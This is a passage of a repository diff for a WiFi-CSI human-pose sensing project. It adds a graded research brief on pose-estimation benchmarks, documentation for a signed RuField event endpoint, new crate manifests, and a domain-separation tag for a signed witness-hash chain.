+**Negative:** a fourth crate to maintain; the privacy mapping is lossy (4/5 → 6) and must be kept honest by tests; reusing the `cog-ha-matter` key crosses a bounded-context boundary (cog/Matter ↔ sensing) that ADR-116 kept separate — that coupling needs review. The live trust metadata (`witness`, `effective_class`) is **currently decoupled** from `SensingUpdate` (§1.2), so P1 must do real join work, not a field read.
+
+## 8. Open questions
+
+1. **Signer ownership:** should the bridge reuse the `cog-ha-matter` Ed25519 key, or mint a dedicated RuView-sensing key with its own rotation? (Reuse couples bounded contexts; a new key adds a second root of trust.)
+2. **`PrivacyMode` vs `PrivacyClass` as the canonical map target:** class gates egress (chosen), but the 5-mode ladder is the cleaner join to 6 levels — do we expose mode in the receipt too?
+3. **Where does the BLAKE3 engine witness live in the RuField receipt** — a `firmware_hash`-style field, an extension field, or a `CalibrationReceipt.data_hash`? (RuField's `ProvenanceRef` has no spare slot; needs a spec extension or reuse of `model_id`.)
+4. **Should `field_localize` positions ride in `Observation.space_cell`/`motion_vector`** given the explicit single-link caveat, or stay RuView-only until multi-node calibration lands?
+5. **`rvcsi` relationship:** `rvcsi` has its own `CsiFrame`/`CsiWindow` and could implement `FieldAdapter` directly — should the second modality in P4 be `rvcsi`, making RuField the convergence point for *both* vendored sensing runtimes?
+6. **Transport:** RuField ADR-260 §29 leaves default transport open (MQTT/NATS/WS/MCP). RuView is WS + UDP + broadcast; does `/ws/field` suffice, or does the appliance need MQTT to match the cog stack?
+
+## 9. Recommendation
+
+Proceed with P1+P2 behind a feature flag. They are independently shippable, carry real gates (round-trip, monotonicity, signature-verify), and require no change to RuView's fusion or privacy engine — only a tap and a translation. Defer P3/P4 and the appliance/transport questions to follow-up ADRs once the bridge round-trips on recorded `.csi.jsonl` and on one live cycle.

docs/research/sota-nn-train-benchmark-brief.md

@@ -0,0 +1,147 @@
+# SOTA Evidence Brief — `wifi-densepose-nn` / `wifi-densepose-train` Benchmark ADR Seed
+
+| Field | Value |
+|-------|-------|
+| **Date** | 2026-06-14 |
+| **Author** | deep-research (Opus) |
+| **Purpose** | Seed a future benchmark/optimization ADR for the NN-inference (`wifi-densepose-nn`) and training (`wifi-densepose-train`) crates |
+| **Scope** | The DELTA beyond what ADR-152 / ADR-150 / ADR-015 already establish — current published WiFi-CSI pose SOTA, winning architectures, edge-quantization SOTA, and a defensible benchmark-suite design |
+| **Ethos** | Every claim graded PEER-REVIEWED / PREPRINT / VENDOR-CLAIM / BLOG, with MEASURED-on-public-benchmark distinguished from marketing. Numbers that could not be verified are flagged. No fabricated citations. |
+
+> **Citation discipline carried in from ADR-152 §2.2:** preprint accuracy numbers are CLAIMED until reproduced on our hardware. The project has already retracted its own "92.9% PCK@20" and "shipped-WiFlow-STD 97.25%" figures after measurement; this brief inherits that bar.
+
+---
+
+## 1. Executive summary
+
+**Where the project stands vs the 2026 frontier.** The repo is, by the evidence already in-tree, *ahead of most academic groups on benchmark hygiene* and roughly *at parity on capability* — but the two are measured on incompatible yardsticks, which is the single biggest risk to any "beyond-SOTA" claim.
+
+- The project's headline reproductions (`benchmarks/wiflow-std/RESULTS.md`) are MEASURED and rigorous: WiFlow-STD retrained to **96.09–96.61% PCK@20** on the authors' own 360k-window 2D dataset (RTX 5080), shipped checkpoint REFUTED, dataset/code defects documented. This is a genuinely strong, reproducible result.
+- **But that number is not on a standard public benchmark.** WiFlow-STD's dataset is self-collected (5 subjects, 15 keypoints, 2D, in-domain random split, hardware unspecified). The academic frontier on the *standard* public 3D benchmark (MM-Fi) reports **PCK@20 ≈ 61% / MPJPE ≈ 161 mm random-split** (GraphPose-Fi, Nov 2025) — a *harder* metric (3D, mm-scale, standard PCK normalization). The project's own AetherArena MM-Fi number (**81.63% torso-PCK@20 in-domain**, ADR-150) uses a *torso-normalized PCK* that is looser than GraphPose-Fi's standard PCK, so the three numbers (96% / 81.6% / 61%) **cannot be lined up** without a unified harness. Making them comparable IS the highest-value work item.
+- The deployment frontier — **cross-subject / cross-environment generalization** — is where everyone collapses, the project included (ADR-150: 81.63% in-domain → ~11.6% leakage-free cross-subject). GraphPose-Fi independently confirms the cliff (61.1% random → 12.9% cross-environment PCK@20). This is the real research target, not in-domain PCK.
+
+**Top 3 highest-value optimization/benchmark targets:**
+
+1. **A unified, metric-locked accuracy harness in `wifi-densepose-train`** that scores any model under *one* explicit PCK definition (normalization, keypoint convention, split) so WiFlow-STD-repro, AetherArena/MM-Fi, and GraphPose-Fi numbers become directly comparable. Without this, no "beyond-SOTA" claim survives the "prove it" bar — the project has already been burned twice by metric ambiguity (the retracted 92.9% used absolute, not torso-normalized, PCK).
+2. **A QAT path for the WiFlow-STD-class edge model.** The in-tree edge work (`RESULTS.md`) has *fully characterized PTQ* (static QDQ conv-only is the int8 sweet spot; dynamic int8 is a no-op on this all-conv architecture) and found the **half model (843k params) strictly dominates the published 2.23M** and **tiny (56k, 295 KB ONNX fp32) holds 94.1% PCK@20**. The one untested lever is **quantization-aware training**, which the general literature says recovers most of the PTQ accuracy gap. That is the next defensible edge win.
+3. **Criterion-backed regression benches wired into CI** for the real Candle/ONNX forward path. The benches *exist* (`wifi-densepose-nn/benches/{inference,onnx,native_conv}_bench.rs`, `wifi-densepose-train/benches/training_bench.rs`) and `benchmarks/edge-latency/RESULTS.md` shows the methodology is sound (host≠ESP32 caveat made explicit). The gap is turning point-in-time captures into committed regression baselines.
+
+---
+
+## 2. Findings per research question
+
+### RQ1 — Latest WiFi-CSI pose SOTA (2024–2026): published PCK@20 / MPJPE on the standard public benchmarks
+
+The crucial framing: **"WiFi pose SOTA" splits into two non-comparable tracks** — 3D pose on MM-Fi/Person-in-WiFi-3D (mm-scale MPJPE, standard PCK) vs 2D pose on self-collected sets (image-normalized PCK). The project's flagship reproduction lives in the second track; the academic frontier lives in the first.
+
+| Method | Venue / Year | Benchmark + split | PCK@20 | MPJPE | Grade |
+|---|---|---|---|---|---|
+| **GraphPose-Fi** (arXiv [2511.19105](https://arxiv.org/abs/2511.19105)) | PREPRINT, Nov 2025 | MM-Fi P1, **random split** | **61.1%** | **160.6 mm** (PA-MPJPE 105.0) | numbers MEASURED-in-study (preprint); beats MetaFi++, HPE-Li, DT-Pose |
+| GraphPose-Fi | same | MM-Fi P1, **cross-subject** | 44.2% | 210.5 mm | same |
+| GraphPose-Fi | same | MM-Fi P1, **cross-environment** | 12.9% | 302.7 mm | same — the generalization cliff |
+| **DT-Pose** (arXiv [2501.09411](https://arxiv.org/abs/2501.09411)) | PREPRINT (ICLR'25 OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ)), Jan 2025; code [cseeyangchen/DT-Pose](https://github.com/cseeyangchen/DT-Pose) | MM-Fi (domain-gap + topology focus) | not cleanly extractable from abstract | reports MPJPE; self-supervised masked pretrain + topology decode | numbers NOT verified at exact-table level here — flagged |
+| **Person-in-WiFi-3D** (CVPR 2024, [openaccess](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html)) | **PEER-REVIEWED**, CVPR 2024 | own 97k-frame multi-person set | — (multi-person, not single-PCK) | **91.7 mm (1p) / 108.1 (2p) / 125.3 (3p)** 3D joint error | MEASURED (peer-reviewed); own dataset, not MM-Fi |
+| **WiFlow-STD** (arXiv [2602.08661](https://arxiv.org/abs/2602.08661), [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling)) | PREPRINT, Apr 2026 | self-collected, 5-subj, **2D, in-domain random** | 97.25% (claimed) | 0.007 m (image-norm) | claimed CLAIMED; **project reproduced 96.09–96.61% (MEASURED, RTX 5080)** after repairing dataset/code |
+| **PerceptAlign** (arXiv [2601.12252](https://arxiv.org/abs/2601.12252)) | PREPRINT + MobiCom'26 acceptance | own 7-layout cross-domain 3D set | — | 222.4 mm (Scene4) / 317.1 (Scene5), claims −54% cross-env vs SOTA | CLAIMED (preprint); failure mode corroborated |
+| **Project AetherArena** (ADR-150, [issue #876](https://github.com/ruvnet/RuView/issues/876)) | internal | MM-Fi, **random split**, **torso-PCK** | **81.63% torso-PCK@20** | — | MEASURED-internal; **torso-PCK ≠ GraphPose-Fi standard PCK** |
+| **Project WiFlow-STD repro** (`benchmarks/wiflow-std/RESULTS.md`) | internal | their data, their split | **96.09–96.61%** | 0.0094–0.0098 m | MEASURED-internal (RTX 5080) |
+
+**How the project's ~96% compares to the frontier:** It is *not directly comparable*. The 96% is on an easier task (2D, in-domain, image-normalized PCK, single-environment, 5 subjects) than GraphPose-Fi's 61.1% (3D, standard PCK, mm-scale). The project's own MM-Fi-track number (81.63% torso-PCK@20) *appears* to beat GraphPose-Fi's 61.1%, **but only because torso-PCK is a looser normalization** — the project explicitly flags this (ADR-150 cites beating "MultiFormer's 72.25%" under the *same* torso metric, not GraphPose-Fi's). The honest statement: **the project is competitive on in-domain MM-Fi under its own torso metric, and collapses cross-subject exactly as the published frontier does.** No public number lets the project claim "beyond-SOTA" today.
+
+### RQ2 — What's winning architecturally now (2025–2026)
+
+The clear trend across the verified 2025–2026 papers:
+
+- **Graph / skeleton-aware decoders are the current academic SOTA on MM-Fi.** GraphPose-Fi (PREPRINT, Nov 2025) wins by injecting anatomical graph structure into the decoder — exactly the `GraphPose-Fi-style skeleton-aware graph head` ADR-150 §2.2 already names as the planned decoder. *The project's architecture direction matches the frontier.*
+- **Self-supervised masked pretraining (MAE) is the cross-domain lever, not capacity.** UNSW MAE study (arXiv [2511.18792](https://arxiv.org/abs/2511.18792), PREPRINT, Nov 2025): cross-domain gains scale **log-linearly with pretraining data, unsaturated at 1.3M samples**; ViT-Base adds only 0.4–0.9% over ViT-Small. Recipe: **80% masking, (30,3) small patches**. DT-Pose (arXiv 2501.09411) independently uses masked pretraining + topology constraints for the domain gap. *Caveat (MEASURED in ADR-152 §2.3): UNSW's downstream tasks are classification, not pose — pose transfer remains a hypothesis. The project's own measurement (b) found WiFlow-STD pretrained features give optimization transfer but NOT feature transfer to ESP32 CSI.*
+- **Spatio-temporal decoupling is the efficiency lever.** WiFlow-STD's whole contribution is decoupling spatial and temporal CSI processing to hit 2.23M params. The project verified the params/FLOPs (MEASURED) and then **beat it**: the half-model (843k) matches accuracy with 0.38× params (`RESULTS.md` efficiency sweep).
+- **Geometry/layout conditioning is the cross-layout lever.** PerceptAlign (MobiCom'26): fusing transceiver-position embeddings + two-checkerboard calibration, claimed −60% cross-domain. ADR-152 §2.1 already adopted this (`NodeGeometry`, geometry embeddings).
+- **NOT winning / absent:** diffusion models for CSI pose did not surface in the verified frontier. Full DensePose-UV regression from commodity WiFi remains undemonstrated (ADR-152 F5, MEASURED by full-text screening). No 2025–2026 paper was found that *beats the project's current direction* — the project is tracking, not trailing, the architecture frontier.
+
+**Verdict RQ2:** the winning stack (MAE pretrain → graph/skeleton decoder → geometry conditioning, ViT-Small-class capacity) is *already the planned ADR-150/152 stack*. The gain available is not a new architecture; it's (a) more heterogeneous pretraining data and (b) honest cross-domain measurement.
+
+### RQ3 — Edge/quantized inference SOTA for small CSI pose models
+
+The in-tree edge work (`benchmarks/wiflow-std/RESULTS.md` "Edge optimization" + "Static PTQ" + "Efficiency sweep") is already at or beyond what the public literature offers for this specific model class, and is MEASURED. Key findings to carry forward:
+
+- **Dynamic INT8 is a trap on all-conv CSI models.** WiFlow-STD has **zero `nn.Linear` layers** (21 Conv1d + 22 Conv2d + BatchNorm). `torch.quantize_dynamic` quantizes 0% of params (dynamic int8 has no conv kernels). MEASURED.
+- **Static QDQ conv-only PTQ is the int8 sweet spot.** PCK@20 96.60–96.63% (vs fp32 96.68%, dynamic 96.52%), 2.53 MB. All-ops QDQ is strictly worse (−1.4 pt). MEASURED.
+- **ONNX Runtime fp32 is the real CPU latency win**: 3.2 ms/window batch-1 vs torch 11.0 ms (~3.4×) at parity (2.4e-7). int8 is ~2× *slower* than ONNX fp32 at batch-1 (ConvInteger kernels). MEASURED.
+- **Smaller-than-published dominates.** half (843k) ≥ full on accuracy; **tiny (56k, 295 KB ONNX fp32, 0.66 ms/win, 94.1% PCK@20)** is the smallest deployable artifact. At tiny scale int8 is a *bad* trade (−1.43 pt for −47 KB). MEASURED.
+- **General QAT-vs-PTQ context (BLOG/VENDOR):** [NVIDIA TensorRT QAT blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics QAT glossary](https://www.ultralytics.com/glossary/quantization-aware-training-qat), [ONNX Runtime quantization docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html): QAT "almost always" recovers accuracy PTQ loses on sensitive models; ONNX Runtime does NOT retrain (QAT must happen in PyTorch, then export QDQ). The [Onboard Optimization survey, arXiv 2505.08793](https://arxiv.org/pdf/2505.08793) (PREPRINT) covers on-device optimization broadly. These are *general* claims, not CSI-pose-specific — grade accordingly.
+- **Hailo / Pi target (CLAUDE.local.md):** the 4× Pi+Hailo cluster (Hailo-8 @ 26 TOPS / Hailo-10 @ 40 TOPS) needs a **HEF** compile path, which is its own toolchain (not ONNX/Candle). No in-tree HEF benchmark exists yet — this is a genuine gap for the edge-inference claim.
+
+**Actionable for an inference-speed benchmark:** the honest comparand set is `{torch fp32, ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full, half, tiny}` on a fixed host, with the **host≠ESP32 / host≠Hailo caveat stated up front** (the `edge-latency/RESULTS.md` template already does this correctly). The one new datapoint worth producing: **QAT-int8 on the half model** to test whether QAT closes the PTQ −0.16 pt gap *and* keeps the size win.
+
+### RQ4 — Rigorous, reproducible benchmark methodology
+
+The repo already demonstrates the right methodology in three places — the ADR should codify it, not invent it:
+
+- **`benchmarks/wiflow-std/RESULTS.md`** — the gold standard already in-tree: pinned upstream commit, seed-42 file-level split documented, corruption masks committed as ground truth, every forced deviation recorded, mean-pose honesty baseline, MEASURED-vs-CLAIMED grading.
+- **`benchmarks/edge-latency/RESULTS.md`** — criterion 0.5, explicit host machine, low/median/high brackets, contention caveat, host≠ESP32 separation, steady-state-vs-cold-start distinction.
+- **Rust micro-bench:** criterion benches already exist in both crates (`wifi-densepose-nn/benches/`, `wifi-densepose-train/benches/`).
+
+What a credible "beyond-SOTA" claim requires (the bar that survives "prove it"):
+1. **One locked accuracy definition** — PCK normalization (torso vs absolute vs bbox), keypoint convention (15 vs 17 COCO), and split (random / cross-subject / cross-environment) declared *before* the run. The retracted 92.9% died exactly because PCK normalization was unstated.
+2. **A mean-pose / constant-output honesty baseline** on every split (already done in measurement (b) — a single-subject near-static set scored 95.9% torso-PCK@20 with a *constant* pose). Any claim must beat this.
+3. **MEASURED-vs-CLAIMED grading** per number, with the exact command and raw-JSON path committed.
+4. **Cross-domain, not just in-domain.** In-domain PCK is saturated and uninformative; the defensible claim is on cross-subject/cross-environment, where the frontier is 12–44% PCK@20.
+
+---
+
+## 3. Proposed benchmark-suite design
+
+A two-part suite (`wifi-densepose-train` accuracy harness + `wifi-densepose-nn` latency harness), both committing raw JSON + a graded RESULTS.md.
+
+### 3.1 Accuracy harness (`wifi-densepose-train`)
+
+- **Metric module with one canonical PCK** (parameterized: `{torso, bbox, absolute}` normalization × threshold × keypoint-map), so a single function scores WiFlow-STD-repro, MM-Fi/AetherArena, and a GraphPose-Fi re-run identically. Lock the default to **torso-PCK@20 on 17-kp COCO** and *always* also print standard-PCK to expose the gap.
+- **Fixed datasets/splits:** (i) WiFlow-STD cleaned 360k (their split, for repro parity), (ii) MM-Fi P1 random + cross-subject + cross-environment (to line up against GraphPose-Fi 61.1/44.2/12.9 and the project's 81.63), (iii) ESP32 paired eval set when ≥2k multi-subject windows exist.
+- **Mandatory honesty baselines** emitted every run: mean-pose, constant-output, and (for cross-domain) source-only.
+- **Output:** raw JSON + a RESULTS.md table with MEASURED/CLAIMED grades, mirroring `benchmarks/wiflow-std/RESULTS.md`.
+
+### 3.2 Latency/size harness (`wifi-densepose-nn`)
+
+- **Matrix:** `{torch fp32 (ref), ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full 2.23M, half 843k, tiny 56k}` × `{batch 1, 64}`, criterion-timed, host declared.
+- **Report:** disk size, batch-1 + batch-64 ms/window (median + low/high), and PCK@20 on the locked 10k-window subset, so latency and accuracy never get cited apart.
+- **Caveat block up front:** host ≠ ESP32-S3/WASM3, host ≠ Hailo HEF. No host number is presented as the edge number.
+- **CI gate:** commit the current medians as regression baselines; fail PRs that regress latency >X% or accuracy >Y pt.
+
+### 3.3 What counts as a defensible "beyond-SOTA" result
+
+A claim is citable only if **all** hold: (1) scored under a pre-declared metric/split, (2) beats the relevant published frontier number *on the same metric definition* (e.g. >61.1% standard-PCK@20 on MM-Fi random, or >12.9% on cross-environment), (3) beats the mean-pose honesty baseline, (4) raw JSON + exact command committed, (5) graded MEASURED. The single most valuable "beyond-SOTA" target is **cross-environment MM-Fi**, where the published bar (12.9% PCK@20) is low enough that a real win is both achievable and unambiguous.
+
+---
+
+## 4. Gap table
+
+| Capability | Project current (graded) | Published SOTA (graded) | Proposed target | Data / hardware needed |
+|---|---|---|---|---|
+| In-domain 2D PCK@20 (self-collected) | 96.09–96.61% (MEASURED, RTX 5080, WiFlow-STD repro) | 97.25% claimed (WiFlow-STD, CLAIMED) | match within noise + own architecture | cleaned 360k dataset (have); already met |
+| In-domain MM-Fi PCK@20 (torso-norm) | 81.63% torso-PCK (MEASURED-internal) | GraphPose-Fi 61.1% *standard*-PCK (PREPRINT) — **not comparable** | re-score both under **one** PCK def | MM-Fi P1 (have); unified metric harness (gap) |
+| **Cross-subject MM-Fi PCK@20** | ~11.6% torso (MEASURED, the cliff) | GraphPose-Fi 44.2% standard (PREPRINT) | close gap via MAE pretrain + graph decoder | 1.3M heterogeneous CSI corpus (ADR-150/152 §2.3), ViT-Small encoder |
+| **Cross-environment MM-Fi PCK@20** | untested-internal | GraphPose-Fi 12.9% standard (PREPRINT) | **beat 12.9% → cleanest beyond-SOTA win** | MM-Fi cross-env split + geometry conditioning (ADR-152 §2.1) |
+| ESP32 CSI→pose (17-kp) | no run beats mean-pose baseline (MEASURED, measurement b) | n/a (no public ESP32 pose benchmark) | beat mean-pose on temporal split | ≥2k multi-subject/multi-position paired windows (gap) |
+| Edge int8 size/accuracy | static QDQ conv-only 96.61% @ 2.53 MB; tiny 94.1% @ 295 KB fp32 (MEASURED) | no model-matched public number | **QAT-int8 on half model** (untested lever) | PyTorch QAT + QDQ export; RTX 5080 (have) |
+| Edge CPU latency | ONNX fp32 3.2 ms/win b1 host (MEASURED) | n/a (model-specific) | committed criterion regression baseline | host bench (have); ESP32/Hailo on-hardware (gap) |
+| Hailo HEF edge inference | none in-tree (gap) | n/a | first MEASURED HEF latency | Hailo compile toolchain + Pi cluster (have hardware, CLAUDE.local.md) |
+| Foundation encoder (MAE) | recipe adopted, untrained (ADR-152 §2.3) | UNSW: log-linear cross-domain scaling on *classification* (PREPRINT) | pose-transfer validation (hypothesis today) | 1.3M-sample corpus aggregation (priority per F3) |
+
+---
+
+## 5. Sources (graded)
+
+| Source | Type | Grade | Used for |
+|---|---|---|---|
+| GraphPose-Fi, arXiv [2511.19105](https://arxiv.org/abs/2511.19105) | preprint | PREPRINT; table numbers MEASURED-in-study (fetched + quoted) | RQ1 MM-Fi frontier (61.1/44.2/12.9 PCK@20, 160.6/210.5/302.7 mm) |
+| WiFlow-STD, arXiv [2602.08661](https://arxiv.org/abs/2602.08661) + [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling) | preprint+code | numbers CLAIMED; artifacts MEASURED; **project repro 96% MEASURED** | RQ1/RQ2/RQ3 |
+| PerceptAlign, arXiv [2601.12252](https://arxiv.org/abs/2601.12252) | preprint + MobiCom'26 acceptance | CLAIMED numbers; failure mode corroborated | RQ1/RQ2 geometry conditioning |
+| UNSW MAE, arXiv [2511.18792](https://arxiv.org/abs/2511.18792) | preprint | ablations MEASURED-in-study; pose transfer = hypothesis | RQ2 MAE recipe |
+| DT-Pose, arXiv [2501.09411](https://arxiv.org/abs/2501.09411), OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ), [code](https://github.com/cseeyangchen/DT-Pose) | preprint+code (ICLR'25) | exact MPJPE table NOT verified here — flagged | RQ2 masked-pretrain + topology |
+| Person-in-WiFi-3D, [CVPR 2024](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html) | peer-reviewed | MEASURED (91.7/108.1/125.3 mm); own dataset | RQ1 3D multi-person frontier |
+| ONNX Runtime quantization [docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html) | vendor docs | VENDOR | RQ3 PTQ/QAT mechanics |
+| NVIDIA TensorRT QAT [blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics](https://www.ultralytics.com/glossary/quantization-aware-training-qat) | vendor/blog | BLOG/VENDOR; general, not CSI-specific | RQ3 QAT>PTQ context |
+| Onboard Optimization survey, arXiv [2505.08793](https://arxiv.org/pdf/2505.08793) | preprint | PREPRINT | RQ3 on-device optimization landscape |
+| In-tree `benchmarks/wiflow-std/RESULTS.md`, `benchmarks/edge-latency/RESULTS.md`, ADR-150, ADR-152, ADR-015 | internal MEASURED | MEASURED-internal | grounding, all RQs |
+
+**Unverified / flagged:** DT-Pose exact MM-Fi MPJPE table not extracted at primary-source precision (abstract-level only). GraphPose-Fi parameter count not reported in the paper. WiFlow-STD/PerceptAlign accuracy numbers are author-self-reported preprints. No CSI-pose-specific QAT benchmark exists in the public literature — the QAT recommendation rests on general (non-CSI) vendor/blog evidence.

docs/user-guide.md

@@ -522,6 +522,25 @@ Base URL: `http://localhost:3000` (Docker) or `http://localhost:8080` (binary de
 | `GET` | `/api/v1/mesh` | ADR-110 fleet-wide mesh sync map ([iter 29](adr/ADR-110-esp32-c6-firmware-extension.md)) | `{"nodes":{"9":{...},"12":{...}},"total":2}` |
 | `GET` | `/api/v1/nodes/:id/sync` | Single-node mesh sync snapshot (or 404) | `{"offset_us":1163565,"is_leader":false,...}` |
 | `GET` | `/api/v1/mesh/metrics` | ADR-110 mesh state in Prometheus exposition format ([iter 36](adr/ADR-110-esp32-c6-firmware-extension.md)) | `wifi_densepose_mesh_offset_us{node="9"} 1163565\n…` |
+| `GET` | `/api/field` | ADR-262 P3 — latest **signed RuField `FieldEvent`s** from the live sensing cycle, plus the signer pubkey + a `dev_signing_key` flag. Only egress-safe (P1/P2) events are surfaced; identity/biometric (P4/P5) and raw (P0) are held edge-local | `{"spec":"rufield","signer_pubkey_hex":"…","dev_signing_key":true,"events":[…]}` |
+
+### RuField surface (ADR-262 P3)
+
+RuView's live WiFi-CSI sensing now also speaks the standalone **RuField MFS** wire format. Each governed sensing cycle is converted (via the `wifi-densepose-rufield` anti-corruption bridge) into a **signed** `FieldEvent` (`Modality::WifiCsi`, ed25519 `ProvenanceRef`) and surfaced on two additive endpoints:
+
+- `GET /api/field` — the most recent signed events (JSON).
+- `GET /ws/field` — a WebSocket that streams each cycle's signed event (mirrors `/ws/sensing`).
+
+```bash
+curl -s http://localhost:3000/api/field | python -m json.tool          # latest signed FieldEvents
+python -c "import asyncio,websockets; asyncio.run((lambda: websockets.connect('ws://localhost:8765/ws/field'))())"  # stream
+```
+
+Privacy is fail-closed: only egress-safe **P1/P2** events leave the box — raw (P0) and identity/biometric/aggregate (P3–P5) cycles are held **edge-local** and never appear on these endpoints; a no-presence cycle emits **no event**.
+
+**Signing key:** the surface signs with a **dedicated dev/sensing key**, seeded from `WDP_RUFIELD_SIGNING_SEED` (a 64-char hex string or a ≥32-byte value); when unset it falls back to a deterministic dev default and logs a `WARN` (the `dev_signing_key` flag in `/api/field` reflects this). This is a standalone key pending the ADR-262 §8 Q1 key-ownership decision — set `WDP_RUFIELD_SIGNING_SEED` for any real deployment.
+
+> **Honesty (ADR-262 §0/§6):** this is real plumbing on a live endpoint, **not an accuracy claim.** It is the single-link CSI sensing with its existing caveats (no validated room-coordinate accuracy — positions are the "strongest field peak", not calibrated triangulation).
 
 ### Example: Get fleet mesh state (ADR-110)
 

v2/Cargo.lock

@@ -7085,6 +7085,42 @@ dependencies = [
  "smallvec",
 ]
 
+[[package]]
+name = "rufield-core"
+version = "0.1.0"
+dependencies = [
+ "serde",
+ "serde_json",
+]
+
+[[package]]
+name = "rufield-fusion"
+version = "0.1.0"
+dependencies = [
+ "rufield-core",
+ "rufield-provenance",
+ "serde",
+ "toml 0.8.23",
+]
+
+[[package]]
+name = "rufield-privacy"
+version = "0.1.0"
+dependencies = [
+ "rufield-core",
+]
+
+[[package]]
+name = "rufield-provenance"
+version = "0.1.0"
+dependencies = [
+ "ed25519-dalek",
+ "rufield-core",
+ "serde",
+ "serde_json",
+ "sha2",
+]
+
 [[package]]
 name = "rumqttc"
 version = "0.24.0"
@@ -11045,6 +11081,18 @@ dependencies = [
  "tower-http",
 ]
 
+[[package]]
+name = "wifi-densepose-rufield"
+version = "0.3.0"
+dependencies = [
+ "rufield-core",
+ "rufield-fusion",
+ "rufield-privacy",
+ "rufield-provenance",
+ "serde",
+ "serde_json",
+]
+
 [[package]]
 name = "wifi-densepose-ruvector"
 version = "0.3.2"
@@ -11094,6 +11142,7 @@ dependencies = [
  "wifi-densepose-engine",
  "wifi-densepose-geo",
  "wifi-densepose-hardware",
+ "wifi-densepose-rufield",
  "wifi-densepose-signal",
  "wifi-densepose-wifiscan",
  "wifi-densepose-worldgraph",

v2/Cargo.toml

@@ -72,6 +72,11 @@ members = [
     "crates/homecore-assist",      # ADR-133 — HOMECORE voice assistant + ruflo bridge
     "crates/homecore-server",      # iter-9 — HOMECORE integration binary (all 8 crates wired together)
     "crates/ruview-swarm",                         # ADR-148 — drone swarm control system
+    # ADR-262 P1 — anti-corruption bridge converting RuView WiFi-CSI sensing
+    # output into signed RuField FieldEvents. Path-deps the `vendor/rufield`
+    # submodule crates (rufield-core/-provenance/-privacy/-fusion); single
+    # coupling point between RuView and the standalone RuField MFS spec.
+    "crates/wifi-densepose-rufield",
 ]
 # ADR-040: WASM edge crate targets wasm32-unknown-unknown (no_std),
 # excluded from workspace to avoid breaking `cargo test --workspace`.

v2/crates/cog-ha-matter/src/witness.rs

@@ -102,19 +102,43 @@ pub struct WitnessEvent {
     pub this_hash: WitnessHash,
 }
 
+/// Domain-separation tag prefixing every witness canonical message.
+///
+/// This is the *domain tag* half of the "domain-tag + length-prefix"
+/// rule for any hashed/signed message whose fields are
+/// operator-influenceable. The witness chain already length-prefixes
+/// `kind` and `payload` (preventing intra-protocol concatenation
+/// forgery); the tag adds cross-protocol separation so a SHA-256
+/// preimage / Ed25519 message produced here can never be re-interpreted
+/// as a message from another signing context that shares key
+/// infrastructure — notably ADR-116's *manifest* `binary_signature`
+/// (Ed25519 over `binary_sha256`), which ADR-262 P2 reuses this exact
+/// chain for. A signature is only ever valid for the one domain whose
+/// tag it commits to.
+///
+/// The trailing NUL terminates the version string so a future
+/// migration (Blake3, extra fields, Merkle tier) bumps the tag instead
+/// of silently colliding with v1 bundles.
+pub const WITNESS_DOMAIN_TAG: &[u8] = b"cog-ha-matter/witness-event/v1\x00";
+
 /// Compute the canonical-bytes form an event is hashed over.
 ///
-/// The format is intentionally simple and length-prefixed so a
-/// future migration can be staged with a `version` byte in front
-/// without ambiguity:
+/// The format is domain-tagged and length-prefixed:
 ///
 /// ```text
-///   prev_hash[32] | seq:u64-be | ts:u64-be | kind_len:u32-be | kind | payload_len:u32-be | payload
+///   DOMAIN_TAG | prev_hash[32] | seq:u64-be | ts:u64-be
+///              | kind_len:u32-be | kind | payload_len:u32-be | payload
 /// ```
 ///
-/// Length-prefixing prevents the classic "concatenation forgery"
-/// attack where `"abc" + "def"` and `"ab" + "cdef"` would hash the
-/// same.
+/// * The leading [`WITNESS_DOMAIN_TAG`] gives cross-protocol
+///   separation: bytes signed/hashed here cannot be replayed as a
+///   message for another Ed25519 context in the same trust chain
+///   (e.g. the manifest `binary_signature`). It also carries a format
+///   version for staged migrations.
+/// * Length-prefixing `kind` and `payload` prevents the classic
+///   "concatenation forgery" where `"abc" + "def"` and `"ab" + "cdef"`
+///   would hash the same. The fixed-width `prev_hash`/`seq`/`ts`
+///   fields are self-delimiting.
 pub fn canonical_bytes(
     prev_hash: WitnessHash,
     seq: u64,
@@ -123,7 +147,10 @@ pub fn canonical_bytes(
     payload: &[u8],
 ) -> Vec<u8> {
     let kind_bytes = kind.as_bytes();
-    let mut out = Vec::with_capacity(32 + 8 + 8 + 4 + kind_bytes.len() + 4 + payload.len());
+    let mut out = Vec::with_capacity(
+        WITNESS_DOMAIN_TAG.len() + 32 + 8 + 8 + 4 + kind_bytes.len() + 4 + payload.len(),
+    );
+    out.extend_from_slice(WITNESS_DOMAIN_TAG);
     out.extend_from_slice(&prev_hash.0);
     out.extend_from_slice(&seq.to_be_bytes());
     out.extend_from_slice(&timestamp_unix_s.to_be_bytes());
@@ -466,11 +493,51 @@ mod tests {
     }
 
     #[test]
-    fn canonical_bytes_starts_with_prev_hash() {
+    fn canonical_bytes_starts_with_domain_tag_then_prev_hash() {
         // Locks the on-wire format. A future migration that flips
-        // field order must bump a version byte and update this test.
+        // field order must bump the domain tag and update this test.
         let bytes = canonical_bytes(WitnessHash([7u8; 32]), 1, 2, "k", b"p");
-        assert_eq!(&bytes[..32], &[7u8; 32]);
+        let tag = WITNESS_DOMAIN_TAG.len();
